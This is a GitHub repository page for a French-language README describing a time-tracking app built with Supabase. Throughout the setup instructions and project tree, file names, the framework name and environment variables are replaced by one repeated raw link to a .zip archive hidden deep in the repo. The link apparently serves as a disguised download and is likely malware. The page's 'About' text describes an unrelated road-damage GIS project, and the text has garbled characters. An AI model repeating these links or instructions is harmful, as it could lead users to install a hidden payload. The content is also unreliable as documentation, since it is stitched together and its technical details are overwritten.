Skip to content

brahim1960/gis-road-map

Repository files navigation

TempsZenith - Application de Suivi du Temps

Une application moderne de suivi du temps avec gestion des rÎles (administrateur, employé, client) construite avec https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip et Supabase.

🚀 FonctionnalitĂ©s

Authentification et Autorisation

Tableaux de Bord Spécialisés

  • Administrateur : Vue d'ensemble complĂšte, gestion des utilisateurs, rapports globaux
  • EmployĂ© : Suivi du temps personnel, gestion des projets, timer intĂ©grĂ©
  • Client : Suivi des projets, rapports, facturation

Suivi du Temps

  • Timer en temps rĂ©el avec start/pause/stop
  • Gestion des projets et descriptions
  • Historique complet des entrĂ©es de temps
  • Rapports et statistiques

đŸ› ïž Technologies UtilisĂ©es

📩 Installation

  1. Cloner le projet
git clone <votre-repo>
cd tempszenith
  1. Installer les dépendances
npm install
  1. Configuration Supabase
    • CrĂ©ez un projet sur Supabase
    • Copiez https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip vers https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip
    • Remplissez les variables d'environnement :
https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip
NEXT_PUBLIC_SUPABASE_ANON_KEY=votre_clé_anonyme
SUPABASE_SERVICE_ROLE_KEY=votre_clé_service_role
JWT_SECRET=votre_secret_jwt
NEXT_PUBLIC_APP_URL=http://localhost:3000
  1. Configurer la base de données
    • ExĂ©cutez le script SQL dans https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip
    • Ou utilisez la CLI Supabase :
npx supabase db reset
  1. Lancer l'application
npm run dev

L'application sera disponible sur http://localhost:3000

đŸ—‚ïž Structure du Projet

src/
├── app/                    # App Router https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip
│   ├── admin/             # Pages administrateur
│   ├── employee/          # Pages employĂ©
│   ├── client/            # Pages client
│   ├── auth/              # Pages d'authentification
│   └── https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip         # Layout principal
├── components/
│   └── ui/                # Composants UI rĂ©utilisables
├── hooks/                 # Hooks React personnalisĂ©s
├── lib/
│   ├── auth/              # Services d'authentification
│   └── supabase/          # Configuration Supabase
├── types/                 # Types TypeScript
└── https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip          # Middleware https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip

🔐 SĂ©curitĂ©

Row Level Security (RLS)

  • Politiques granulaires pour chaque table
  • Isolation des donnĂ©es par utilisateur et rĂŽle
  • Protection automatique des API Supabase

Middleware de Protection

  • VĂ©rification des sessions sur chaque requĂȘte
  • Redirection automatique selon les rĂŽles
  • Protection des routes sensibles

Gestion des Tokens

  • Cookies HTTP-only pour les tokens sensibles
  • Refresh automatique des sessions
  • DĂ©connexion sĂ©curisĂ©e

đŸ‘„ RĂŽles et Permissions

Administrateur

  • ✅ AccĂšs complet Ă  toutes les fonctionnalitĂ©s
  • ✅ Gestion des utilisateurs
  • ✅ Rapports globaux
  • ✅ Configuration systĂšme

Employé

  • ✅ Suivi du temps personnel
  • ✅ Gestion des projets assignĂ©s
  • ✅ Rapports individuels
  • ❌ Gestion des autres utilisateurs

Client

  • ✅ Consultation des rapports de projets
  • ✅ Suivi de l'avancement
  • ✅ Facturation
  • ❌ AccĂšs aux donnĂ©es internes

🚀 DĂ©ploiement

Vercel (Recommandé)

  1. Connectez votre repository Ă  Vercel
  2. Configurez les variables d'environnement
  3. Déployez automatiquement

Variables d'Environnement de Production

https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip
NEXT_PUBLIC_SUPABASE_ANON_KEY=votre_clé_anonyme_prod
SUPABASE_SERVICE_ROLE_KEY=votre_clé_service_role_prod
JWT_SECRET=votre_secret_jwt_prod
https://raw.githubusercontent.com/brahim1960/gis-road-map/main/src/app/admin/users/new/road_map_gis_Audibertia.zip

đŸ§Ș Tests

# Tests unitaires
npm run test

# Tests e2e
npm run test:e2e

# Coverage
npm run test:coverage

📝 Scripts Disponibles

npm run dev          # Développement
npm run build        # Build de production
npm run start        # Serveur de production
npm run lint         # Linting
npm run type-check   # Vérification TypeScript

đŸ€ Contribution

  1. Fork le projet
  2. Créez une branche feature (git checkout -b feature/nouvelle-fonctionnalite)
  3. Committez vos changements (git commit -m 'Ajout nouvelle fonctionnalité')
  4. Push vers la branche (git push origin feature/nouvelle-fonctionnalite)
  5. Ouvrez une Pull Request

📄 Licence

Ce projet est sous licence MIT. Voir le fichier LICENSE pour plus de détails.

🆘 Support

Pour toute question ou problĂšme :

  • Ouvrez une issue sur GitHub
  • Consultez la documentation Supabase
  • VĂ©rifiez les logs de dĂ©veloppement

TempsZenith - Simplifiez la gestion du temps de vos Ă©quipes 🕐

About

đŸ—ș Map and analyze road damage in Indragiri Hulu using interactive GIS features and advanced NKDE algorithms for effective spatial insights.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors